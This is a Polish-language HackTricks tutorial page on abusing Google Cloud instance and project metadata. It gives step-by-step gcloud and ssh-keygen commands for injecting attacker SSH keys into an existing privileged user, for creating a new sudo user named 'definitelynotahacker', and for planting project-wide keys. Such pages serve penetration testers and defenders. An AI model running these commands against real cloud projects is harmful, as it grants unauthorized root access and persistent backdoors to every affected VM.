GCP - Add Custom SSH Metadata

GCP - Dodawanie niestandardowych metadanych SSH

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Modyfikacja metadanych

Modyfikacja metadanych na instancji może prowadzić do znacznych ryzyk bezpieczeństwa, jeśli atakujący uzyska wymagane uprawnienia.

Dodawanie kluczy SSH do niestandardowych metadanych

Na platformie GCP, systemy Linux często wykonują skrypty z Python Linux Guest Environment dla Google Compute Engine. Istotnym elementem jest demon kont, który jest zaprojektowany do regularnego sprawdzania punktu końcowego metadanych instancji w poszukiwaniu aktualizacji autoryzowanych kluczy publicznych SSH.

Dlatego jeśli atakujący może modyfikować niestandardowe metadane, może sprawić, że demon znajdzie nowy klucz publiczny, który zostanie przetworzony i zintegrowany z lokalnym systemem. Klucz zostanie dodany do pliku ~/.ssh/authorized_keys istniejącego użytkownika lub potencjalnie utworzy nowego użytkownika z uprawnieniami sudo, w zależności od formatu klucza. Atakujący będzie w stanie skompromitować hosta.

Dodaj klucz SSH do istniejącego uprzywilejowanego użytkownika

  1. Sprawdź Istniejące Klucze SSH na Instancji:

  • Wykonaj polecenie opisujące instancję i jej metadane, aby zlokalizować istniejące klucze SSH. Odpowiednią sekcję w wyniku znajdziesz w metadata, szczególnie pod kluczem ssh-keys.

gcloud compute instances describe [INSTANCJA] --zone [STREFA]
  • Zwróć uwagę na format kluczy SSH: nazwa użytkownika poprzedza klucz, oddzielone dwukropkiem.

  1. Przygotuj plik tekstowy na potrzeby metadanych klucza SSH:

  • Zapisz szczegóły nazw użytkowników i odpowiadających im kluczy SSH do pliku tekstowego o nazwie meta.txt. Jest to istotne dla zachowania istniejących kluczy podczas dodawania nowych.

  1. Wygeneruj nowy klucz SSH dla docelowego użytkownika (alice w tym przykładzie):

  • Użyj polecenia ssh-keygen, aby wygenerować nowy klucz SSH, upewniając się, że pole komentarza (-C) odpowiada nazwie użytkownika docelowego.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Dodaj nowy klucz publiczny do meta.txt, naśladując format znaleziony w metadanych instancji.

  1. Zaktualizuj Metadane Klucza SSH Instancji:

  • Zastosuj zaktualizowane metadane klucza SSH do instancji, używając polecenia gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTANCJA] --metadata-from-file ssh-keys=meta.txt
  1. Zaloguj się do Instancji, Korzystając z Nowego Klucza SSH:

  • Połącz się z instancją za pomocą SSH, używając nowego klucza, uzyskując dostęp do powłoki w kontekście użytkownika docelowego (alice w tym przykładzie).

ssh -i ./key alice@localhost
sudo id

Utwórz nowego uprzywilejowanego użytkownika i dodaj klucz SSH

Jeśli nie znaleziono interesującego użytkownika, można utworzyć nowego, który otrzyma uprawnienia sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Klucze SSH na poziomie projektu

Możliwe jest poszerzenie zakresu dostępu SSH do wielu maszyn wirtualnych (VM) w środowisku chmurowym poprzez zastosowanie kluczy SSH na poziomie projektu. Ten sposób pozwala na dostęp SSH do dowolnej instancji w ramach projektu, która nie zablokowała wyraźnie projektowych kluczy SSH. Oto zwięzły przewodnik:

  1. Zastosuj Klucze SSH na Poziomie Projektu:

  • Użyj polecenia gcloud compute project-info add-metadata, aby dodać klucze SSH z pliku meta.txt do metadanych projektu. Ta czynność zapewnia, że klucze SSH są rozpoznawane we wszystkich maszynach wirtualnych w projekcie, chyba że instancja ma włączoną opcję "Zablokuj projektowe klucze SSH".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH do Instancji Korzystając z Kluczy na Poziomie Projektu:

  • Dzięki projektowym kluczom SSH możesz łączyć się przez SSH z dowolną instancją w ramach projektu. Instancje, które nie blokują projektowych kluczy, zaakceptują klucz SSH, umożliwiając dostęp.

  • Bezpośredni sposób na połączenie się przez SSH z instancją to użycie polecenia gcloud compute ssh [INSTANCJA]. Polecenie to używa twojej bieżącej nazwy użytkownika i kluczy SSH ustawionych na poziomie projektu do próby dostępu.

Referencje

Last updated